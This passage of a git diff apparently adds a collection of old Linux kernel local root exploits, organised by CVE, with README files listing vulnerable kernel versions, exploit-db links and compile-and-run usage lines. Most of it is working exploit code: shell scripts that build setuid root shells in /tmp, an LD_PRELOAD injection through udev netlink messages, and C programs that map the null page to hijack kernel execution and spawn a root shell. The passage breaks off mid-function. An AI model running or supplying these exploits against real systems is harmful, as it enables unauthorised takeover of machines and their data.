socket_fd = socket(AF_NETLINK, SOCK_DGRAM, NETLINK_KOBJECT_UEVENT);
|
||||
bind(socket_fd, (struct sockaddr *) &address, sizeof(address));
|
||||
|
||||
char message[LONG_STRING];
|
||||
char *mp;
|
||||
|
||||
mp = message;
|
||||
mp += sprintf(mp, "%s@%s", event, sysfspath) +1;
|
||||
mp += sprintf(mp, "ACTION=%s", event) +1;
|
||||
mp += sprintf(mp, "DEVPATH=%s", sysfspath) +1;
|
||||
mp += sprintf(mp, "MAJOR=%s", major) +1;
|
||||
mp += sprintf(mp, "MINOR=%s", minor) +1;
|
||||
mp += sprintf(mp, "SUBSYSTEM=%s", subsystem) +1;
|
||||
mp += sprintf(mp, "LD_PRELOAD=/tmp/libno_ex.so.1.0") +1;
|
||||
|
||||
iovector.iov_base = (void*)message;
|
||||
iovector.iov_len = (int)(mp-message);
|
||||
|
||||
char *buf;
|
||||
int buflen;
|
||||
buf = (char *) &msg;
|
||||
buflen = (int)(mp-message);
|
||||
|
||||
sendmsg(socket_fd, &msg, 0);
|
||||
|
||||
close(socket_fd);
|
||||
|
||||
sleep(10);
|
||||
execl("/tmp/suid", "suid", (void*)0);
|
||||
}
|
||||
|
||||
_EOF
|
||||
gcc udev.c -o /tmp/udev
|
||||
cat > program.c << _EOF
|
||||
#include <unistd.h>
|
||||
#include <stdio.h>
|
||||
#include <sys/types.h>
|
||||
#include <stdlib.h>
|
||||
|
||||
void _init()
|
||||
{
|
||||
setgid(0);
|
||||
setuid(0);
|
||||
unsetenv("LD_PRELOAD");
|
||||
execl("/bin/sh","sh","-c","chown root:root /tmp/suid; chmod +s /tmp/suid",NULL);
|
||||
}
|
||||
|
||||
_EOF
|
||||
gcc -o program.o -c program.c -fPIC
|
||||
gcc -shared -Wl,-soname,libno_ex.so.1 -o libno_ex.so.1.0 program.o -nostartfiles
|
||||
cat > suid.c << _EOF
|
||||
int main(void) {
|
||||
setgid(0); setuid(0);
|
||||
execl("/bin/sh","sh",0); }
|
||||
_EOF
|
||||
gcc -o /tmp/suid suid.c
|
||||
cp libno_ex.so.1.0 /tmp/libno_ex.so.1.0
|
||||
/tmp/udev $1
|
||||
|
||||
# milw0rm.com [2009-04-20]
|
13
98-Linux提权/2009/CVE-2009-1185/README.md
Normal file
13
98-Linux提权/2009/CVE-2009-1185/README.md
Normal file
@ -0,0 +1,13 @@
|
||||
# CVE-2009-1185
|
||||
|
||||
CVE-2009-1185
|
||||
|
||||
Vulnerability reference:
|
||||
* [CVE-2009-1185](http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=2009-1185)
|
||||
* [exp-db](https://www.exploit-db.com/exploits/8478/)
|
||||
|
||||
## Kernels
|
||||
```
|
||||
2.6.25, 2.6.26, 2.6.27, 2.6.28, 2.6.29
|
||||
```
|
||||
|
103
98-Linux提权/2009/CVE-2009-1337/8369.sh
Normal file
103
98-Linux提权/2009/CVE-2009-1337/8369.sh
Normal file
@ -0,0 +1,103 @@
|
||||
#!/bin/sh
|
||||
|
||||
###################################################################################
|
||||
# gw-notexit.sh: Linux kernel <2.6.29 exit_notify() local root exploit
|
||||
#
|
||||
# by Milen Rangelov (gat3way-at-gat3way-dot-eu)
|
||||
#
|
||||
# Based on 'exit_notify()' CAP_KILL verification bug found by Oleg Nestorov.
|
||||
# Basically it allows us to send arbitrary signals to a privileged (suidroot)
|
||||
# parent process. Due to a bad check, the child process with appropriate exit signal
|
||||
# already set can first execute a suidroot binary then exit() and thus bypass
|
||||
# in-kernel privilege checks. We use chfn and gpasswd for that purpose.
|
||||
#
|
||||
# !!!!!!!!!!!
|
||||
# Needs /proc/sys/fs/suid_dumpable set to 1 or 2. The default is 0
|
||||
# so you'll be out of luck most of the time.
|
||||
# So it is not going to be the script kiddies' new killer shit :-)
|
||||
# !!!!!!!!!!!
|
||||
#
|
||||
# if you invent a better way to escalate privileges by sending arbitrary signals to
|
||||
# the parent process, please mail me :) That was the best I could think of today :-(
|
||||
#
|
||||
# This one made me nostalgic about the prctl(PR_SET_DUMPABLE,2) madness
|
||||
#
|
||||
# Skuchna rabota...
|
||||
#
|
||||
####################################################################################
|
||||
|
||||
|
||||
|
||||
|
||||
SUIDDUMP=`cat /proc/sys/fs/suid_dumpable`
|
||||
if [ $SUIDDUMP -lt 1 ]; then echo -e "suid_dumpable=0 - system not vulnerable!\n";exit; fi
|
||||
if [ -d /etc/logrotate.d ]; then
|
||||
echo "logrotate installed, that's good!"
|
||||
else
|
||||
echo "No logrotate installed, sorry!";exit
|
||||
fi
|
||||
|
||||
echo -e "Compiling the bash setuid() wrapper..."
|
||||
cat >> /tmp/.m.c << EOF
|
||||
#include <unistd.h>
|
||||
#include <sys/types.h>
|
||||
|
||||
int main()
|
||||
{
|
||||
setuid(0);
|
||||
execl("/bin/bash","[kthreadd]",NULL);
|
||||
}
|
||||
EOF
|
||||
|
||||
cc /tmp/.m.c -o /tmp/.m
|
||||
rm /tmp/.m.c
|
||||
|
||||
echo -e "Compiling the exploit code..."
|
||||
|
||||
cat >> /tmp/exploit.c << EOF
|
||||
#include <stdio.h>
|
||||
#include <sched.h>
|
||||
#include <signal.h>
|
||||
#include <stdlib.h>
|
||||
#include <unistd.h>
|
||||
|
||||
int child(void *data)
|
||||
{
|
||||
sleep(2);
|
||||
printf("I'm gonna kill the suidroot father without having root rights :D\n");
|
||||
execl("/usr/bin/gpasswd","%s",NULL);
|
||||
exit(0);
|
||||
}
|
||||
|
||||
int main()
|
||||
{
|
||||
int stacksize = 4*getpagesize();
|
||||
void *stack, *stacktop;
|
||||
stack = malloc(stacksize);
|
||||
stacktop = stack + stacksize;
|
||||
chdir("/etc/logrotate.d");
|
||||
int p = clone(child, stacktop, CLONE_FILES|SIGSEGV, NULL);
|
||||
if (p>0) execl("/usr/bin/chfn","\n/tmp/.a\n{\nsize=0\nprerotate\n\tchown root /tmp/.m;chmod u+s /tmp/.m\nendscript\n}\n\n",NULL);
|
||||
}
|
||||
EOF
|
||||
|
||||
cc /tmp/exploit.c -o /tmp/.ex
|
||||
rm /tmp/exploit.c
|
||||
|
||||
echo -e "Setting coredump limits and running the exploit...\n"
|
||||
ulimit -c 10000
|
||||
touch /tmp/.a
|
||||
`/tmp/.ex >/dev/null 2>/dev/null`
|
||||
sleep 5
|
||||
rm /tmp/.ex
|
||||
|
||||
if [ -e /etc/logrotate.d/core ]; then
|
||||
echo -e "Successfully coredumped into the logrotate config dir\nNow wait until cron.daily executes logrotate and makes your shell wrapper suid\n"
|
||||
echo -e "The shell should be located in /tmp/.m - just run /tmp/.m after 24h and you'll be root"
|
||||
echo -e "\nYour terminal is most probably screwed now, sorry for that..."
|
||||
exit
|
||||
fi
|
||||
|
||||
echo "The system is not vulnerable, sorry :("
|
||||
|
||||
# milw0rm.com [2009-04-08]
|
15
98-Linux提权/2009/CVE-2009-1337/README.md
Normal file
15
98-Linux提权/2009/CVE-2009-1337/README.md
Normal file
@ -0,0 +1,15 @@
|
||||
# CVE-2009-1337
|
||||
|
||||
CVE-2009-1337
|
||||
|
||||
Vulnerability reference:
|
||||
* [CVE-2009-1337](http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=2009-1337)
|
||||
* [exp-db](https://www.exploit-db.com/exploits/8369/)
|
||||
|
||||
## Kernels
|
||||
```
|
||||
2.6.25, 2.6.26, 2.6.27, 2.6.28, 2.6.29
|
||||
```
|
||||
|
||||
|
||||
|
BIN
98-Linux提权/2009/CVE-2009-2692/9435.tgz
Normal file
BIN
98-Linux提权/2009/CVE-2009-2692/9435.tgz
Normal file
Binary file not shown.
BIN
98-Linux提权/2009/CVE-2009-2692/9436.tgz
Normal file
BIN
98-Linux提权/2009/CVE-2009-2692/9436.tgz
Normal file
Binary file not shown.
15
98-Linux提权/2009/CVE-2009-2692/README.md
Normal file
15
98-Linux提权/2009/CVE-2009-2692/README.md
Normal file
@ -0,0 +1,15 @@
|
||||
# CVE-2009-2692
|
||||
|
||||
CVE-2009-2692
|
||||
|
||||
Vulnerability reference:
|
||||
* [CVE-2009-2692](http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=2009-2692)
|
||||
* [exp-db](https://www.exploit-db.com/exploits/9435/)
|
||||
* [exp-db](https://www.exploit-db.com/exploits/9436/)
|
||||
|
||||
## Kernels
|
||||
```
|
||||
2.4.4, 2.4.5, 2.4.6, 2.4.7, 2.4.8, 2.4.9, 2.4.10, 2.4.11, 2.4.12, 2.4.13, 2.4.14, 2.4.15, 2.4.16, 2.4.17, 2.4.18, 2.4.19, 2.4.20, 2.4.21, 2.4.22, 2.4.23, 2.4.24, 2.4.25, 2.4.26, 2.4.27, 2.4.28, 2.4.29, 2.4.30, 2.4.31, 2.4.32, 2.4.33, 2.4.34, 2.4.35, 2.4.36, 2.4.37, 2.6.0, 2.6.1, 2.6.2, 2.6.3, 2.6.4, 2.6.5, 2.6.6, 2.6.7, 2.6.8, 2.6.9, 2.6.10, 2.6.11, 2.6.12, 2.6.13, 2.6.14, 2.6.15, 2.6.16, 2.6.17, 2.6.18, 2.6.19, 2.6.20, 2.6.21, 2.6.22, 2.6.23, 2.6.24, 2.6.25, 2.6.26, 2.6.27, 2.6.28, 2.6.29, 2.6.30
|
||||
```
|
||||
|
||||
|
107
98-Linux提权/2009/CVE-2009-2698/36108.c
Normal file
107
98-Linux提权/2009/CVE-2009-2698/36108.c
Normal file
@ -0,0 +1,107 @@
|
||||
/*
|
||||
**
|
||||
** 0x82-CVE-2009-2698
|
||||
** Linux kernel 2.6 < 2.6.19 (32bit) ip_append_data() local ring0 root exploit
|
||||
**
|
||||
** Tested White Box 4(2.6.9-5.ELsmp),
|
||||
** CentOS 4.4(2.6.9-42.ELsmp), CentOS 4.5(2.6.9-55.ELsmp),
|
||||
** Fedora Core 4(2.6.11-1.1369_FC4smp), Fedora Core 5(2.6.15-1.2054_FC5),
|
||||
** Fedora Core 6(2.6.18-1.2798.fc6).
|
||||
**
|
||||
** --
|
||||
** Discovered by Tavis Ormandy and Julien Tinnes of the Google Security Team.
|
||||
** Thankful to them.
|
||||
**
|
||||
** --
|
||||
** bash$ gcc -o 0x82-CVE-2009-2698 0x82-CVE-2009-2698.c && ./0x82-CVE-2009-2698
|
||||
** sh-3.1# id
|
||||
** uid=0(root) gid=0(root) groups=500(x82) context=user_u:system_r:unconfined_t
|
||||
** sh-3.1#
|
||||
** --
|
||||
** exploit by <p0c73n1(at)gmail(dot)com>.
|
||||
**
|
||||
*/
|
||||
|
||||
#include <stdio.h>
|
||||
#include <unistd.h>
|
||||
#include <string.h>
|
||||
#include <sys/socket.h>
|
||||
#include <sys/mman.h>
|
||||
#include <fcntl.h>
|
||||
#include <sys/personality.h>
|
||||
|
||||
unsigned int uid, gid;
|
||||
void get_root_uid(unsigned *task)
|
||||
{
|
||||
unsigned *addr=task;
|
||||
while(addr[0]!=uid||addr[1]!=uid||addr[2]!=uid||addr[3]!=uid){
|
||||
addr++;
|
||||
}
|
||||
addr[0]=addr[1]=addr[2]=addr[3]=0; /* set uids */
|
||||
addr[4]=addr[5]=addr[6]=addr[7]=0; /* set gids */
|
||||
return;
|
||||
}
|
||||
void exploit();
|
||||
void kernel_code()
|
||||
{
|
||||
asm("exploit:\n"
|
||||
"push %eax\n"
|
||||
"movl $0xfffff000,%eax\n"
|
||||
"andl %esp,%eax\n"
|
||||
"pushl (%eax)\n"
|
||||
"call get_root_uid\n"
|
||||
"addl $4,%esp\n"
|
||||
"popl %eax\n");
|
||||
return;
|
||||
}
|
||||
void *kernel=kernel_code;
|
||||
|
||||
int main(int argc, char **argv)
|
||||
{
|
||||
int fd=0;
|
||||
char buf[1024];
|
||||
struct sockaddr x0x;
|
||||
void *zero_page;
|
||||
|
||||
uid=getuid();
|
||||
gid=getgid();
|
||||
if(uid==0){
|
||||
fprintf(stderr,"[-] check ur uid\n");
|
||||
return -1;
|
||||
}
|
||||
if(personality(0xffffffff)==PER_SVR4){
|
||||
if(mprotect(0x00000000,0x1000,PROT_READ|PROT_WRITE|PROT_EXEC)==-1){
|
||||
perror("[-] mprotect()");
|
||||
return -1;
|
||||
}
|
||||
}
|
||||
else if((zero_page=mmap(0x00000000,0x1000,PROT_READ|PROT_WRITE|PROT_EXEC,MAP_FIXED|MAP_ANONYMOUS|MAP_PRIVATE,0,0))==MAP_FAILED){
|
||||
perror("[-] mmap()");
|
||||
return -1;
|
||||
}
|
||||
*(unsigned long *)0x0=0x90909090;
|
||||
*(char *)0x00000004=0x90; /* +1 */
|
||||
*(char *)0x00000005=0xff;
|
||||
*(char *)0x00000006=0x25;
|
||||
*(unsigned long *)0x00000007=(unsigned long)&kernel;
|
||||
*(char *)0x0000000b=0xc3;
|
||||
|
||||
if((fd=socket(PF_INET,SOCK_DGRAM,0))==-1){
|
||||
perror("[-] socket()");
|
||||
return -1;
|
||||
}
|
||||
x0x.sa_family=AF_UNSPEC;
|
||||
memset(x0x.sa_data,0x82,14);
|
||||
memset((char *)buf,0,sizeof(buf));
|
||||
sendto(fd,buf,1024,MSG_PROXY|MSG_MORE,&x0x,sizeof(x0x));
|
||||
sendto(fd,buf,1024,0,&x0x,sizeof(x0x));
|
||||
if(getuid()==uid){
|
||||
printf("[-] exploit failed, try again\n");
|
||||
return -1;
|
||||
}
|
||||
close(fd);
|
||||
execl("/bin/sh","sh","-i",NULL);
|
||||
return 0;
|
||||
}
|
||||
|
||||
/* eoc */
|
23
98-Linux提权/2009/CVE-2009-2698/README.md
Normal file
23
98-Linux提权/2009/CVE-2009-2698/README.md
Normal file
@ -0,0 +1,23 @@
|
||||
# CVE-2009-2698
|
||||
|
||||
CVE-2009-2698
|
||||
|
||||
Vulnerability reference:
|
||||
* [CVE-2009-2698](http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=2009-2698)
|
||||
|
||||
## Kernels
|
||||
```
|
||||
2.6.1, 2.6.2, 2.6.3, 2.6.4, 2.6.5, 2.6.6, 2.6.7, 2.6.8, 2.6.9, 2.6.10, 2.6.11, 2.6.12, 2.6.13, 2.6.14, 2.6.15, 2.6.16, 2.6.17, 2.6.18, 2.6.19
|
||||
```
|
||||
|
||||
## Usage
|
||||
```
|
||||
gcc -o 0x82-CVE-2009-2698 0x82-CVE-2009-2698.c && ./0x82-CVE-2009-2698
|
||||
```
|
||||
|
||||
|
||||
## References
|
||||
* [http://downloads.securityfocus.com/vulnerabilities/exploits/36108.c](http://downloads.securityfocus.com/vulnerabilities/exploits/36108.c)
|
||||
|
||||
|
||||
|
18
98-Linux提权/2009/CVE-2009-3547/README.md
Normal file
18
98-Linux提权/2009/CVE-2009-3547/README.md
Normal file
@ -0,0 +1,18 @@
|
||||
# CVE-2009-3547
|
||||
|
||||
CVE-2009-3547
|
||||
|
||||
Vulnerability reference:
|
||||
* [CVE-2009-3547](http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=2009-3547)
|
||||
|
||||
## Kernels
|
||||
```
|
||||
2.4.4, 2.4.5, 2.4.6, 2.4.7, 2.4.8, 2.4.9, 2.4.10, 2.4.11, 2.4.12, 2.4.13, 2.4.14, 2.4.15, 2.4.16, 2.4.17, 2.4.18, 2.4.19, 2.4.20, 2.4.21, 2.4.22, 2.4.23, 2.4.24, 2.4.25, 2.4.26, 2.4.27, 2.4.28, 2.4.29, 2.4.30, 2.4.31, 2.4.32, 2.4.33, 2.4.34, 2.4.35, 2.4.36, 2.4.37, 2.6.15, 2.6.16, 2.6.17, 2.6.18, 2.6.19, 2.6.20, 2.6.21, 2.6.22, 2.6.23, 2.6.24, 2.6.25, 2.6.26, 2.6.27, 2.6.28, 2.6.29, 2.6.30, 2.6.31
|
||||
```
|
||||
|
||||
## References
|
||||
* [exp](http://www.securityfocus.com/data/vulnerabilities/exploits/36901-1.c)
|
||||
* [Linux 2.6.x fs/pipe.c local root exploit (CVE-2009-3547)](http://seclists.org/fulldisclosure/2009/Nov/105)
|
||||
|
||||
|
||||
|
563
98-Linux提权/2009/CVE-2009-3547/pipe.c_32bit.c
Normal file
563
98-Linux提权/2009/CVE-2009-3547/pipe.c_32bit.c
Normal file
@ -0,0 +1,563 @@
|
||||
/******************************************************************************
|
||||
* .:: Impel Down ::.
|
||||
*
|
||||
* Linux 2.6.x fs/pipe.c local kernel root(kit?) exploit (x86)
|
||||
* by teach & xipe
|
||||
* Greetz goes to all our mates from #nibbles, #oldschool and #carib0u
|
||||
* (hehe guyz, we would probably be high profile and mediatised el8 if we
|
||||
* lost less time on trolling all day long, but we LOVE IT :)))
|
||||
* Special thanks to Ivanlef0u, j0rn & pouik for being such amazing (but i
|
||||
* promise ivan, one day i'll kill u :p)
|
||||
*
|
||||
* (C) COPYRIGHT teach & xipe, 2009
|
||||
* All Rights Reserved
|
||||
*
|
||||
* teach@vxhell.org
|
||||
* xipe@vxhell.org
|
||||
*
|
||||
*******************************************************************************/
|
||||
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
#include <unistd.h>
|
||||
#include <fcntl.h>
|
||||
#include <signal.h>
|
||||
#include <stdint.h>
|
||||
#include <sched.h>
|
||||
#include <sys/types.h>
|
||||
#include <sys/utsname.h>
|
||||
#include <sys/stat.h>
|
||||
#include <sys/syscall.h>
|
||||
#include <sys/mman.h>
|
||||
#include <sys/personality.h>
|
||||
|
||||
/* First of all, im about to teach (hehe, just like mah nick) you mah powerful copy-and-past skillz */
|
||||
|
||||
// didn't really care about this. i mixed 2.6.0 to 2.6.31 :)
|
||||
|
||||
#define PIPE_BUFFERS (16)
|
||||
|
||||
struct __wait_queue_head {
|
||||
int spinlock;
|
||||
|
||||
void *next, *prev; // struct list_head
|
||||
};
|
||||
|
||||
struct fasync_struct { // bleh! didn't change from 2.6.0 to 2.6.31
|
||||
int magic;
|
||||
int fa_fd;
|
||||
struct fasync_struct *fa_next;
|
||||
void *file; // struct file
|
||||
};
|
||||
|
||||
// this iz the w00t about 2.6.11 to 2.6.31
|
||||
struct pipe_buf_operations {
|
||||
int suce;
|
||||
int *fptr[6];
|
||||
};
|
||||
|
||||
|
||||
// from 2.6.0 to 2.6.10
|
||||
struct pipe_inode_info_2600_10 {
|
||||
struct __wait_queue_head wait;
|
||||
char *base; // !!!!!
|
||||
unsigned int len; // !!!
|
||||
unsigned int start; // !!!
|
||||
unsigned int readers;
|
||||
unsigned int writers;
|
||||
unsigned int waiting_writers;
|
||||
unsigned int r_counter;
|
||||
unsigned int w_counter;
|
||||
struct fasync_struct *fasync_readers;
|
||||
struct fasync_struct *fasync_writers;
|
||||
};
|
||||
|
||||
// from 2.6.11 to 2.6.16
|
||||
struct pipe_buffer_2611_16 {
|
||||
void *suce;
|
||||
unsigned int offset, len;
|
||||
struct pipe_buf_operations *ops;
|
||||
};
|
||||
|
||||
struct pipe_inode_info_2611_16 {
|
||||
struct __wait_queue_head wait;
|
||||
unsigned int nrbufs, curbuf;
|
||||
struct pipe_buffer_2611_16 bufs[PIPE_BUFFERS];
|
||||
void *tmp_page;
|
||||
unsigned int start;
|
||||
unsigned int readers;
|
||||
unsigned int writers;
|
||||
unsigned int waiting_writers;
|
||||
unsigned int r_counter;
|
||||
unsigned int w_counter;
|
||||
struct fasync_struct *fasync_readers;
|
||||
struct fasync_struct *fasync_writers;
|
||||
};
|
||||
|
||||
// from 2.6.17 to 2.6.19
|
||||
struct pipe_buffer_2617_19 {
|
||||
void *suce;
|
||||
unsigned int offset, len;
|
||||
struct pipe_buf_operations *ops;
|
||||
unsigned int tapz;
|
||||
};
|
||||
|
||||
struct pipe_inode_info_2617_19 {
|
||||
struct __wait_queue_head wait;
|
||||
unsigned int nrbufs, curbuf;
|
||||
struct pipe_buffer_2617_19 bufs[PIPE_BUFFERS];
|
||||
void *tmp_page;
|
||||
unsigned int start;
|
||||
unsigned int readers;
|
||||
unsigned int writers;
|
||||
unsigned int waiting_writers;
|
||||
unsigned int r_counter;
|
||||
unsigned int w_counter;
|
||||
struct fasync_struct *fasync_readers;
|
||||
struct fasync_struct *fasync_writers;
|
||||
void *suce;
|
||||
};
|
||||
|
||||
// from 2.6.20 to 2.6.22
|
||||
struct pipe_buffer_2620_22 {
|
||||
void *suce;
|
||||
unsigned int offset, len;
|
||||
struct pipe_buf_operations *ops;
|
||||
unsigned int tapz;
|
||||
};
|
||||
|
||||
struct pipe_inode_info_2620_22 {
|
||||
struct __wait_queue_head wait;
|
||||
unsigned int nrbufs, curbuf;
|
||||
void *tmp_page;
|
||||
unsigned int start;
|
||||
unsigned int readers;
|
||||
unsigned int writers;
|
||||
unsigned int waiting_writers;
|
||||
unsigned int r_counter;
|
||||
unsigned int w_counter;
|
||||
struct fasync_struct *fasync_readers;
|
||||
struct fasync_struct *fasync_writers;
|
||||
void *suce;
|
||||
struct pipe_buffer_2620_22 bufs[PIPE_BUFFERS];
|
||||
};
|
||||
|
||||
// AND FINALY from 2.6.23 to 2.6.31 ... :))
|
||||
struct pipe_buffer_2623_31 {
|
||||
void *suce;
|
||||
unsigned int offset, len;
|
||||
struct pipe_buf_operations *ops;
|
||||
unsigned int tapz;
|
||||
unsigned long tg;
|
||||
};
|
||||
|
||||
struct pipe_inode_info_2623_31 {
|
||||
struct __wait_queue_head wait;
|
||||
unsigned int nrbufs, curbuf;
|
||||
void *tmp_page;
|
||||
unsigned int start;
|
||||
unsigned int readers;
|
||||
unsigned int writers;
|
||||
unsigned int waiting_writers;
|
||||
unsigned int r_counter;
|
||||
unsigned int w_counter;
|
||||
struct fasync_struct *fasync_readers;
|
||||
struct fasync_struct *fasync_writers;
|
||||
void *suce;
|
||||
struct pipe_buffer_2623_31 bufs[PIPE_BUFFERS];
|
||||
};
|
||||
|
||||
|
||||
|
||||
static pid_t uid;
|
||||
static gid_t gid;
|
||||
static int iz_kern2600_10;
|
||||
unsigned long taskstruct[1024];
|
||||
void gomu_gomu_nooooo_gatling_shell(void);
|
||||
int get_kern_version(void);
|
||||
void map_struct_at_null(void);
|
||||
void get_cur_task_and_escalate_priv(void);
|
||||
void* get_null_page(void);
|
||||
void error(char *s);
|
||||
int is_done(int new);
|
||||
|
||||
static inline void *get_4kstack_top()
|
||||
{
|
||||
void *stack;
|
||||
|
||||
__asm__ __volatile__ (
|
||||
"movl $0xfffff000,%%eax ;"
|
||||
"andl %%esp, %%eax ;"
|
||||
"movl %%eax, %0 ;"
|
||||
: "=r" (stack)
|
||||
);
|
||||
return stack;
|
||||
}
|
||||
|
||||
static inline void *get_8kstack_top()
|
||||
{
|
||||
void *stack;
|
||||
|
||||
__asm__ __volatile__ (
|
||||
"movl $0xffffe000,%%eax ;"
|
||||
"andl %%esp, %%eax ;"
|
||||
"movl %%eax, %0 ;"
|
||||
: "=r" (stack)
|
||||
);
|
||||
return stack;
|
||||
}
|
||||
|
||||
static inline void *get_current()
|
||||
{
|
||||
void *cur = *(void **)get_4kstack_top();
|
||||
if( ( (unsigned int *)cur >= (unsigned int *)0xc0000000 ) && ( *(unsigned int *)cur == 0 ) )
|
||||
return cur;
|
||||
else
|
||||
cur = *(void **)get_8kstack_top();
|
||||
return cur;
|
||||
}
|
||||
|
||||
|
||||
|
||||
void map_struct_at_null()
|
||||
{
|
||||
struct pipe_inode_info_2600_10 *pipe2600_10;
|
||||
|
||||
struct pipe_inode_info_2611_16 *pipe2611_16;
|
||||
|
||||
struct pipe_inode_info_2617_19 *pipe2617_19;
|
||||
|
||||
struct pipe_inode_info_2620_22 *pipe2620_22;
|
||||
|
||||
struct pipe_inode_info_2623_31 *pipe2623_31;
|
||||
|
||||
struct pipe_buf_operations luffy;
|
||||
|
||||
|
||||
FILE *f;
|
||||
unsigned int *sct_addr;
|
||||
unsigned int sc_addr;
|
||||
char dummy;
|
||||
char sname[256], pipebuf[10];
|
||||
int ret, i;
|
||||
void *page;
|
||||
|
||||
page = get_null_page();
|
||||
int version = get_kern_version();
|
||||
|
||||
luffy.suce = 1;
|
||||
for(i = 0; i < 6; i++)
|
||||
luffy.fptr[i] = (int *)get_cur_task_and_escalate_priv;
|
||||
|
||||
// ok lets go ...
|
||||
if(version >= 2600 && version <= 2610)
|
||||
{
|
||||
iz_kern2600_10 = 1;
|
||||
|
||||
/* we are going to ninja an obsolete syscall from teh sys_call_table: sys_olduname
|
||||
* i don't bother to restore it after owning the kernel. implement it if u want :p
|
||||
*/
|
||||
|
||||
// hehe as u see, his imperial majesty spender haz alwayz good trickz
|
||||
|
||||
f = fopen("/proc/kallsyms", "r");
|
||||
if (f == NULL)
|
||||
{
|
||||
f = fopen("/proc/ksyms", "r");
|
||||
if (f == NULL)
|
||||
{
|
||||
error("0hn000es. i cant open /proc/{kall,k}syms for looking after teh sys_call_table addr. maybe u should set it yourself!");
|
||||
}
|
||||
}
|
||||
|
||||
ret = 0;
|
||||
while(ret != EOF)
|
||||
{
|
||||
ret = fscanf(f, "%p %c %s\n", (void **)&sct_addr, &dummy, sname);
|
||||
if (ret == 0)
|
||||
{
|
||||
fscanf(f, "%s\n", sname);
|
||||
continue;
|
||||
}
|
||||
if (!strcmp("sys_call_table", sname))
|
||||
{
|
||||
printf("\t\t+ sys_call_table is at %p\n",(void *)sct_addr);
|
||||
fclose(f);
|
||||
}
|
||||
}
|
||||
|
||||
if(f != NULL)
|
||||
{
|
||||
fclose(f);
|
||||
error("0hn000es. i cant get sys_olduname addr. maybe u should set it yourself!");
|
||||
}
|
||||
|
||||
sc_addr = (unsigned int) (sct_addr + __NR_olduname*sizeof(int));
|
||||
|
||||
pipe2600_10 = (struct pipe_inode_info_2600_10 *) page;
|
||||
memcpy(pipebuf, (char *) &sc_addr, sizeof(int));
|
||||
pipe2600_10->base = pipebuf;
|
||||
pipe2600_10->len = 0;
|
||||
pipe2600_10->start = 0;
|
||||
pipe2600_10->writers = 1;
|
||||
printf("\t\t+ Structs for kernels 2.6.0 => 2.6.10 were mapped\n");
|
||||
|
||||
}
|
||||
|
||||
else if(version >= 2611 && version <= 2616)
|
||||
{
|
||||
pipe2611_16 = (struct pipe_inode_info_2611_16 *) page;
|
||||
pipe2611_16->writers = 1;
|
||||
pipe2611_16->nrbufs = 1;
|
||||
for(i = 0; i < PIPE_BUFFERS; i++)
|
||||
pipe2611_16->bufs[i].ops = &luffy;
|
||||
printf("\t\t+ Structs for kernels 2.6.11 => 2.6.16 were mapped\n");
|
||||
}
|
||||
|
||||
else if(version >= 2617 && version <= 2619)
|
||||
{
|
||||
pipe2617_19 = (struct pipe_inode_info_2617_19 *) page;
|
||||
pipe2617_19->readers = 1;
|
||||
pipe2617_19->nrbufs = 1;
|
||||
for(i = 0; i < PIPE_BUFFERS; i++)
|
||||
pipe2617_19->bufs[i].ops = &luffy;
|
||||
pipe2617_19->wait.next = &pipe2617_19->wait.next;
|
||||
pipe2617_19->wait.spinlock = 1;
|
||||
printf("\t\t+ Structs for kernels 2.6.16 => 2.6.19 were mapped\n");
|
||||
}
|
||||
|
||||
else if(version >= 2620 && version <= 2622)
|
||||
{
|
||||
pipe2620_22 = (struct pipe_inode_info_2620_22 *) page;
|
||||
pipe2620_22->readers = 1;
|
||||
pipe2620_22->nrbufs = 1;
|
||||
for(i = 0; i < PIPE_BUFFERS; i++)
|
||||
pipe2620_22->bufs[i].ops = &luffy;
|
||||
pipe2620_22->wait.next = &pipe2620_22->wait.next;
|
||||
pipe2620_22->wait.spinlock = 1;
|
||||
printf("\t\t+ Structs for kernels 2.6.20 => 2.6.22 were mapped\n");
|
||||
}
|
||||
|
||||
else if(version >= 2623 && version <= 2631)
|
||||
{
|
||||
pipe2623_31 = (struct pipe_inode_info_2623_31 *) page;
|
||||
pipe2623_31->readers = 0;
|
||||
pipe2623_31->nrbufs = 0;
|
||||
for(i = 0; i < PIPE_BUFFERS; i++)
|
||||
pipe2623_31->bufs[i].ops = &luffy;
|
||||
pipe2623_31->wait.next = &pipe2623_31->wait.next;
|
||||
pipe2623_31->wait.spinlock = 1;
|
||||
printf("\t\t+ Structs for kernels 2.6.23 => 2.6.31 were mapped\n");
|
||||
}
|
||||
|
||||
else
|
||||
error("errrr! exploit not developped for ur kernel!");
|
||||
|
||||
|
||||
|
||||
}
|
||||
|
||||
int get_kern_version(void) // return something like 2600 for kernel 2.6.0, 2619 for kernel 2.6.19 ...
|
||||
{
|
||||
struct utsname buf;
|
||||
char second[2],third[3];
|
||||
int version = 2000;
|
||||
if(uname(&buf) < 0)
|
||||
error("can't have ur k3rn3l version. this box isn't for today :P\n");
|
||||
sprintf(second, "%c", buf.release[2]);
|
||||
second[1] = 0;
|
||||
version += atoi(second) * 100;
|
||||
|
||||
third[0] = buf.release[4];
|
||||
if(buf.release[5] >= '0' || buf.release[5] <= '9')
|
||||
{
|
||||
third[1] = buf.release[5];
|
||||
third[2] = 0;
|
||||
version += atoi(third);
|
||||
}
|
||||
else
|
||||
{
|
||||
third[1] = 0;
|
||||
version += third[0] - '0';
|
||||
}
|
||||
|
||||
printf("\t\t+ Kernel version %i\n", version);
|
||||
|
||||
return version;
|
||||
|
||||
}
|
||||
|
||||
// from our g0dz spender & julien :] lullz
|
||||
void* get_null_page(void)
|
||||
{
|
||||
void *page;
|
||||
if ((personality(0xffffffff)) != PER_SVR4)
|
||||
{
|
||||
page = mmap(NULL, 4096, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_FIXED | MAP_ANONYMOUS | MAP_PRIVATE, 0, 0);
|
||||
if (page != NULL)
|
||||
{
|
||||
page = mmap(NULL, 4096, PROT_READ | PROT_WRITE, MAP_FIXED | MAP_ANONYMOUS | MAP_PRIVATE, 0, 0);
|
||||
if (page != NULL)
|
||||
{
|
||||
error("this box haz a motherfuckin mmap_min_addr-like stuff! burn it if u can !@#*");
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
